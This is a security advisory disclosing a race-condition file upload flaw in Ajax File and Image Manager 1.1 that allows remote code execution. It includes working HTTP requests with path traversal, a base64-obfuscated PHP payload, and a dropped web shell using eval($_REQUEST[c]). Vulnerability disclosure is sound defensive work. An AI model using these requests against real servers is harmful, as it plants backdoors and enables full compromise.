(PT-2013-41) Positive Technologies Security Advisory
Arbitrary Code Execution in Ajax File and Image Manager

Vulnerable software

Ajax File and Image Manager
Version: 1.1 and earlier

Link:
http://www.phpletter.com/DOWNLOAD/

Severity level

Severity level: High
Impact: Arbitrary Code Execution
Access Vector: Remote

CVSS v2:
Base Score: 10
Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVE: not assigned

Software description

Ajax file and Image Manager is an open source file manager, which employs Ajax and PHP. It can be used as a standalone web application, as well as the TinyMCE/FCKeditor plugin.

Vulnerability description

The specialists of the Positive Research center have detected "Arbitrary Code Execution" vulnerability in Ajax File and Image Manager.

Due to incorrect application architecture, validation of file extension is implemented after uploading file. Uploaded file will subsequently be removed if its extension is not allowed by whitelist. Thus, you can refer to the uploaded file before its removal, resulting in arbitrary code execution.

Vulnerability exploitation example:

Send the following requests simultaneously:

1)

POST  /targethost/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/ajax_file_upload.php?folder=../../../../../../images/banner/  HTTP/1.1

  Host: localhost

  User-Agent: google/agent

  Connection: keep-alive

  Content-Type: multipart/form-data;  boundary=---------------------------307211690811

  Content-Length: 613

-----------------------------307211690811 
    

   Content-Disposition: form-data; name="file"; filename="1.php" 
    

   Content-Type: image/jpeg
<?php 
    

   eval(base64_decode("JGZwID0gZm9wZW4oIi5odGFjY2VzcyIsICJ3Iik7CiRodGFjY2VzcyA9ICc8RmlsZXNNYXRjaCAi 
    

   LihwaHApJCI+CkFsbG93IGZyb20gYWxsCjwvRmlsZXNtYXRjaD4nOwokdGVzdCA9IGZ3cml0ZSgk 
    

   ZnAsICRodGFjY2Vzcyk7CmZjbG9zZSgkZnApOwojaWYoZmlsZV9leGlzdHMoIjIucGhwIikpIHtk 
    

   aWUoKTt9CiRmcDEgPSBmb3BlbigiMi5waHAiLCAidyIpOwokY29kZSA9ICc8P3BocCBldmFsKCRf 
    

   UkVRVUVTVFtjXSk7ID8+JzsKJHRlc3QgPSBmd3JpdGUoJGZwMSwgJGNvZGUpOwpmY2xvc2UoJGZw 
    

   MSk7")); 
    

   ?> 
    

   -----------------------------307211690811—

2)

POST  /targethost/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/ajax_file_upload.php?folder=../../../../../../images/banner/  HTTP/1.1

  Host: localhost

  User-Agent: google/agent

  Connection: keep-alive

  Content-Type: multipart/form-data;  boundary=---------------------------307211690811

  Content-Length: 240

-----------------------------307211690811 
    

   Content-Disposition: form-data; name="file"; filename=".htaccess" 
    

   Content-Type: image/jpeg
<FilesMatch ".(php)$"> 
    

   Allow from all 
    

   </FilesMatch> 
    

   -----------------------------307211690811—

3)

GET /targethost/images/banner/1.php  HTTP/1.1

  Host: localhost

  Connection: keep-alive

This will also create the following files in the /targethost/images/banner directory:
.htaccess with

<FilesMatch ".(php)$">

  Allow from all

  </Filesmatch>

and 2.php with

<?php eval($_REQUEST[c]); ?>.

How to fix

No solution

Advisory status

20.06.2013 - Vendor gets vulnerability details
04.09.2013 - Vulnerability details were sent to CERT
17.09.2013 - Public disclosure

Credits

The vulnerability was detected by Ilya Krupenko, Positive Research Center (Positive Technologies Company)

References

http://en.securitylab.ru/lab/PT-2013-41

Reports on the vulnerabilities previously discovered by Positive Research:

http://www.ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/

About Positive Technologies

Positive Technologies www.ptsecurity.com is among the key players in the IT security market in Russia.

The principal activities of the company include the development of integrated tools for information security monitoring (MaxPatrol); providing IT security consulting services and technical support; development of the Securitylab leading Russian information security portal.

Among the clients of Positive Technologies, there are more than 40 state enterprises, more than 50 banks and financial organizations, 20 telecommunication companies, more than 40 plant facilities, as well as IT, service and retail companies from Russia, the CIS countries, the Baltic States, China, Ecuador, Germany, Great Britain, Holland, Iran, Israel, Japan, Mexico, the Republic of South Africa, Thailand, Turkey, and the USA.

Positive Technologies is a team of highly skilled developers, advisers and experts with years of vast hands-on experience. The company specialists possess professional titles and certificates; they are the members of various international societies and are actively involved in the IT security field development.